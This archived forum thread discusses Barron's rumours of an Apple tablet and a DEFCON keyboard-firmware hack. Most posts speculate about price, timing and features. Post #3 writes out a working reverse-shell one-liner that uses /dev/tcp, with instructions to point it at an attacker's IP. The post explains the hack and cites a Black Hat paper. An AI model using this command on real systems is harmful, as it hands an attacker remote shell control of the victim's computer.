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Tablet prototype "seen first-hand;" Apple keyboard hack detailed

post #1 of 98
Thread Starter 
A new report alleges that an analyst has seen a prototype of Apple's long-rumored tablet device in person, while the DEFCON conference debuted another dangerous hardware hack.

Apple's tablet reportedly "better than the average movie experience"

According to a new report from financial publication Barron's, the suspected tablet is so close to launch that other manufacturers have put their own tablet-style computers on hold until Apple's new product debuts. Author Tiernan Ray suggests that the portable device could possibly debut within the next six weeks. But According to AppleInsider's own sources, Apple's expected new tablet device, with a 10" display and integrated 3G service, is not anticipated to arrive before early 2010.

"One veteran analyst who has seen first-hand a prototype slate-style computer from Apple says the device could be announced in September for release in November," the story reads. "Whatever the exact dates, the computer industry is so anxious to see what Apple introduces that it has held off on competing designs until Apple CEO Steve Jobs gives the device his final blessing."

The report suggests a price of $699 to $799 for a device that would be primarily a media center and gaming machine. It would also be capable of playing high-definition movies.

"It's better than the average movie experience, when you hold this thing in your hands," Barron's anonymous source allegedly said.

Apple keyboard hack gives full control of systems

Along with the iPhone SMS exploit, the DEFCON convention in Las Vegas last week also revealed a vulnerability in Apple keyboards, exploiting the hardware's 8kb of flash memory and 256 bytes of RAM.

"This type of a hack however isnt something where you can go into an Apple store and have an Apple genius exorcise," George Ou writes, "because once the Apple keyboard is infected and locked; there is no practical way of undoing the damage."

The hack allows key logging, including during the boot phase, "which would unlock additional hardware encryption features." The hacker could also take full control of the host computer by launching a console.

The man who discovered the exploit alleges that it can be accomplished through vulnerabilities in OS X. He claims he knows how the issue can be fixed and has worked with Apple. But he said he is concerned that Apple will only fix the problem through a future OS X patch, which he believes would not be a surefire fix. He would rather see Apple lock the keyboard firmware to prevent future modifications.
post #2 of 98
Quote:
Originally Posted by AppleInsider View Post

"This type of a hack however isnt something where you can go into an Apple store and have an Apple genius exorcise," George Ou writes, "because once the Apple keyboard is infected and locked; there is no practical way of undoing the damage."

The hack allows key logging, including during the boot phase, "which would unlock additional hardware encryption features." The hacker could also take full control of the host computer by launching a console.

A few things, but I'm no expert, but this "hack" is a bit on the tedious, and somewhat impractical, side.

First, one would have to gain access to a host machine, and then manage to flash the keyboard without the user noticing (that could be done while the user is away I guess). If one could do all this, you may not need to corrupt the keyboard. Given the limited memory space in the keyboard flash, I'm not sure one could really have that much space to do much with the remaining memory not used by Apple.

One would still need to have some software on the OS to "phone home" with any information making it just a quirk on your run-of-the-mill keylogger, unless you keep info in RAM, then copy this to a flash drive to a hidden file, which sort of limits the damage to computers one may have physical access to. Could one squeeze this phone home program into the keyboard flash so it could recopy itself into memory if the user finds an unwanted process? Without more details, I can't say for sure, but I'm thinking no.

There are also more immediate problems. Which MCU is being used by the keyboard itself? Makes a big difference when you compile op codes for your new flash program. Is Apple using something from TI like a TUSB-based unit, or a product from Freescale? Makes a HUGE difference.

Just my $0.02.
post #3 of 98
Quote:
Originally Posted by patrickwalker View Post

One would still need to have some software on the OS to "phone home"

To call home all the keyboard has to do with OS X running is enter the following:
Code:

[COMMAND-SPACE]terminal[RETURN]exec /bin/sh 0</dev/tcp/127.0.0.1/4444 1>&0 2>&0[RETURN]


This will open a terminal using Spotlight and open a backdoor to shell. To utilize just replace "127.0.0.1" with hacker's IP address.

Source: http://www.blackhat.com/presentation...Firm-PAPER.pdf
post #4 of 98
I'm still not buying the Tablet rumor.

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post #5 of 98
Quote:
Originally Posted by AppleInsider View Post

The report suggests a price of $699 to $799 for a device that would be primarily a media center and gaming machine. It would also be capable of playing high-definition movies.

R.I.P. AppleTV & Mac Mini?
post #6 of 98
If I can sync my iPhone to it then bought on first day!

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post #7 of 98
Quote:
Originally Posted by patrickwalker View Post


First, one would have to gain access to a host machine, and then manage to flash the keyboard without the user noticing (that could be done while the user is away I guess). If one could do all this, you may not need to corrupt the keyboard. Given the limited memory space in the keyboard flash, I'm not sure one could really have that much space to do much with the remaining memory not used by Apple.


Just my $0.02.

The keyboard flash can be hidden in almost any program, takes less than one second and doesn't require physical access or shutting down the machine. You don't even need to show a beach ball because <1 sec pauses are pretty normal.

Security isn't JUST a matter of securing the main (x86 in this case) processor, but all the embedded processors, such as keyboard, BMC, I2C, etc. The Linux community is out for blood right now and will ensure that Apple's security claims are discredited. Hell hath no fury like a geek scorned.
post #8 of 98
6-8 weeks my foot!!

Next year is more like it.
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post #9 of 98
Quote:
Originally Posted by MadisonTate View Post

The Linux community is out for blood right now and will ensure that Apple's security claims are discredited. Hell hath no fury like a geek scorned.

So, if I stuck Linux on my Mac Mini, how would Linux be any more "immune"?
post #10 of 98
From the linked to article about the keyboard hack:

"To infect your keyboard, the attacker only needs to exploit one of the many weaknesses in Mac OS X and Apple applications. Once exploited, the attacker only needs to drop less than 100 KB of payload to infect the keyboard and the attack takes less than 18 seconds."

I'm not saying there aren't any weaknesses in Mac OS, but his "once exploited" statement is a pretty big stretch. And if you've exploited the OS to the point where you can run a firmware update on the keyboard, why bother infecting the keyboard? Just do your dirty work directly.

The far more likely attack vector would be to go to an internet cafe that uses Macs and using your own computer, infect their keyboards. Ok, so don't ever go to an internet cafe, campus computer lab, etc, and use their keyboard on your Mac laptop.

"I asked Mr. Chen why Apple would leave the firmware open and he explained that Apple had a tendency to rush hardware to market which has resulted in shipped keyboards with flaws that needed firmware updates."

Apple rushes hardware to market?!? That's news to me!
post #11 of 98
Quote:
Originally Posted by AppleInsider View Post

Apple's tablet reportedly "better than the average movie experience"

What the hell does this mean?
post #12 of 98
Quote:
Originally Posted by JupiterOne View Post

What the hell does this mean?

There won't be any cellphones ringing other than your own. No screaming kids. Don't have to pay $10.00 for a Coke.
post #13 of 98
This may postpone getting a new iPod Touch. I use it mostly for movies, not for music. I could use this 'iPad' LOL for movies and my iPod touch for music is my car. This is win-win.
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post #14 of 98
Quote:
Originally Posted by JupiterOne View Post

What the hell does this mean?

it makes popcorn
post #15 of 98
That timeframe doesn't seem impossible. In fact it almost seems reasonable. It's not like Apple needs some big new toy to announce at Macworld anymore. So the need to wait till next year might be unjustified.

We also know they refresh their iPods in September and if the tablet is considered an iPod style product they might just release it then. Also if Steve Jobs is back to work they're going to want to get him out there making a keynote with something new and exciting to announce as soon as possible.
post #16 of 98
Quote:
Originally Posted by Wiggin View Post

From the linked to article about the keyboard hack:
I'm not saying there aren't any weaknesses in Mac OS, but his "once exploited" statement is a pretty big stretch. And if you've exploited the OS to the point where you can run a firmware update on the keyboard, why bother infecting the keyboard? Just do your dirty work directly.

Because once you've infected the keyboard, the machine will be compromised, but you won't be able to recover it to an uninfected state just by reloading from Time Machine, and you won't be able to determine that there's an issue just by scanning the hard drive for an infection. You have to know that you need to look in the keyboard firmware.

There's something to be said for cryptographic signing of all drivers / firmware. But this does look like it could be a nice piece of work, and props to the guy who came up with it.
post #17 of 98
Quote:
Originally Posted by zunx View Post

The smaller, the better. Pocketable would be great.

A pocketable, touch-screen tablet computer.... you mean the iPhone, right? Unless by "pocketable" you mean "able to be stuffed down the front of your pants." Because it's not going to get much bigger than the iPhone and still be pocketable.

Quote:
Originally Posted by mr O View Post

R.I.P. AppleTV & Mac Mini?

Except the mini is a fully-functioning computer. I use mine to work with the entire Adobe suite, as well as to do video editing and 3D rendering. This tablet (if it indeed exists) will not be able to handle any of those tasks with the speed and skill of a mini.
post #18 of 98
Quote:
Originally Posted by zunx View Post

iNetbook rerendered
http://www.flickr.com/photos/fotoboer/3226244527

It's exciting to think we may get a glimpse of this new product sooner than previously anticipated. I don't think they'll call it "iNetbook" though. Isn't Apple's current policy to incorporate "Mac" into the name of all of their computers?

I'm also hoping it's more fully-functional than being focused on watching movies and playing games. It'd be nice to have such a small form factor to do real work on. I'd like it to have a mini DisplayPort for connectivity to external display devices for presentations. Realistically, Apple can't make it too powerful and capable without cannibalizing their MacBook lines.

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post #19 of 98
I don't believe a word that comes from the mouth of any analyst. They are professional BSers.

I look forward to seeing what Apple actually makes.
post #20 of 98
Quote:
Originally Posted by DanaCameron View Post

I'm also hoping it's more fully-functional than being focused on watching movies and playing games. It'd be nice to have such a small form factor to do real work on. I'd like it to have a mini DisplayPort for connectivity to external display devices for presentations. Realistically, Apple can't make it too powerful and capable without cannibalizing their MacBook lines.

I am there with you except for the last part. I really think it should be a smaller screened macbook minus the keyboard. Especially if they're thinking about charging $700-800 bucks for the thing.
post #21 of 98
Absolute bullshit.
Citing unnamed sources with limited but direct knowledge of the rumoured device - Comedy Insider (Feb 2014)
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Citing unnamed sources with limited but direct knowledge of the rumoured device - Comedy Insider (Feb 2014)
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post #22 of 98
Quote:
Originally Posted by AppleInsider View Post

The report suggests a price of $699 to $799 for a device that would be primarily a media center and gaming machine. It would also be capable of playing high-definition movies.

I suppose the pricing would be substantially lower if tied to a 3G/4G contract? I wonder if they can squeeze $300-400 for a 2-year contract? A price of $399-$499 would be a lot easier to swallow. Also hope you can purchase without a wireless contract, and that it's on Verizon 4G.
post #23 of 98
To say that other manufacturers of tablets are holding off until Apple releases their tablet shows this writers total lack of reality. The market does not work that way. Not everyone is only capable of copying others work. Some manufacturers still do design and innovate.
post #24 of 98
Quote:
Originally Posted by FuturePastNow View Post

I don't believe a word that comes from the mouth of any analyst. They are professional BSers.

I look forward to seeing what Apple actually makes.

I don't doubt the analysts saw something. However, it's whatever wax nose prototype Apple wishes to use to feed the rumor mill, and wool Apple can pull over the analyst's eyes. I'm not sure I've ever seen a documentary on Apple and their prototyping process, but I can imagine they go through many versions and variants. I would also love to see/hear what ideas were killed.
post #25 of 98
Quote:
Originally Posted by patrickwalker View Post

So, if I stuck Linux on my Mac Mini, how would Linux be any more "immune"?

on linux you can code your own drivers or patch the existing driver code. why else do you think linux desktop market share is skyrocketing past 1%?
post #26 of 98
Quote:
Originally Posted by Ireland View Post

Absolute bullshit.

Which- the $700 tablet or the keyboard vulnerability?

Pic of Absolut BS at http://www.absolutad.com/gallery/ori...1_ranndino.jpg
post #27 of 98
Quote:
Originally Posted by ApplePi View Post

I am there with you except for the last part. I really think it should be a smaller screened macbook minus the keyboard. Especially if they're thinking about charging $700-800 bucks for the thing.

I hope you're right. I'm just not sure even Apple will try to push the concept of a fully touch screen UI that fast. I'm all for it though! Plus, won't it mean a third OS for them to support?

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post #28 of 98
Quote:
Originally Posted by randythot View Post

I suppose the pricing would be substantially lower if tied to a 3G/4G contract? I wonder if they can squeeze $300-400 for a 2-year contract? A price of $399-$499 would be a lot easier to swallow. Also hope you can purchase without a wireless contract, and that it's on Verizon 4G.

2¢ would be a hell of a lot easier to swallow!

And how much would you be willing to pay for the 'wireless' data plan?

Would you be using it to call somebody via VIOP, and would you object if the data plan was not unlimited?
post #29 of 98
Quote:
Originally Posted by ApplePi View Post

I am there with you except for the last part. I really think it should be a smaller screened macbook minus the keyboard. Especially if they're thinking about charging $700-800 bucks for the thing.

But of course you would want to be able to connect your bluetooth key board. Right?
post #30 of 98
If this tablet is geared towards being an "entertainment" device then I won't be buying it.
I want tablet the performs actual utilities, not just play back the latest iTunes purchase.
I'm so sick of being entertained with all of Hollywood's dreck.
post #31 of 98
Quote:
Originally Posted by DanaCameron View Post

I hope you're right. I'm just not sure even Apple will try to push the concept of a fully touch screen UI that fast. I'm all for it though! Plus, won't it mean a third OS for them to support?

I have no idea what if this is even possible, but could Snow Leopard allow for the ability of "pluggable" UIs? So they can move OSX to more and more devices and just have to develop an appropriate UI.
post #32 of 98
Quote:
Apple's tablet reportedly "better than the average movie experience"

Not exactly a ringing endorsement.
post #33 of 98
Quote:
Originally Posted by JupiterOne View Post

What the hell does this mean?

Quote:
Originally Posted by jouster View Post

Not exactly a ringing endorsement.

That's what I thought. But better than the average movie experience, compared to what? Going to the movie theater? Playing a DVD? Using AppleTV? An iPhone/Touch? Are we talking about usability or video/audio?
post #34 of 98
Quote:
Originally Posted by mr O View Post

R.I.P. AppleTV & Mac Mini?

Why? This would simply be used as an additional wireless device to stream to @tv, which will still be connected to the TV via HDMI. Do you think the whole family is going to congregate around the iTablet for photos, movies etc?

Also, the Mac Mini is a full-fledged computer.
post #35 of 98
Quote:
Originally Posted by AppleInsider View Post

According to a new report from financial publication Barron's, the suspected tablet is so close to launch ........ Author Tiernan Ray suggests that the portable device could possibly debut within the next six weeks. But According to AppleInsider's own sources, Apple's expected new tablet device, with a 10" display and integrated 3G service, is not anticipated to arrive before early 2010.

As someone pointed out in a prior post on this topic (in a previous thread), are you sure you are not confusing the first quarter of Apple's fiscal year with the first quarter of the calendar year?
post #36 of 98
Quote:
Originally Posted by teckstud View Post

If this tablet is geared towards being an "entertainment" device then I won't be buying it.
I want tablet the performs actual utilities, not just play back the latest iTunes purchase.
I'm so sick of being entertained with all of Hollywood's dreck.

BRAVO!!....Me too. Im sick of the internet commercials on Hulu. Damn they are annoying. I know they help pay....but really.

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post #37 of 98
Announce in September, launch in March? This thing will clearly be running the iPhone OS and there has been ZERO leakage of software enhancements of which there must be some.. A lot of iPhone dev's will need a few months to re-code and test their fart apps for the larger screen. Most iPhone apps have been hard-coded for screen size. Expect a MAJOR overhaul of the App store at the same time.
post #38 of 98
MY sourses swear that any tablet small device will burn up from the heat .
Apple has to solve the chip problem or have a hobbled device .

I think we will see a large touch 9x6 inch or smaller.
and a 10 in laptop unibody MBA .

And unique APPLE TV set will arrive soon . 20 INCH<<< MBP screen>>
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post #39 of 98
Quote:
Originally Posted by patrickwalker View Post

There won't be any cellphones ringing other than your own. No screaming kids. Don't have to pay $10.00 for a Coke.

Or the guy 4 rows in front of you who talks to the movie screen like he's at home.
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post #40 of 98
Quote:
Originally Posted by DanaCameron View Post

I'm also hoping it's more fully-functional than being focused on watching movies and playing games. It'd be nice to have such a small form factor to do real work on. I'd like it to have a mini DisplayPort for connectivity to external display devices for presentations. Realistically, Apple can't make it too powerful and capable without cannibalizing their MacBook lines.

I think a nice feature would be remote desktop back to your Mac. I'm not sure how they'd handle input, mouse and clicking would be easy, but you'd need some sort of virtual keyboard overlay for text input. Bandwidth might be an issue on cellular networks. Why is Apple's screen sharing so much more bandwidth intensive than Windows remote desktop, and Windows ?

But if they could figure that out, imagine having the power of your Mac Pro at your finger tips while you're on the train to work or sitting at the beach. Useful even if you are at home/work on your wi-fi network.
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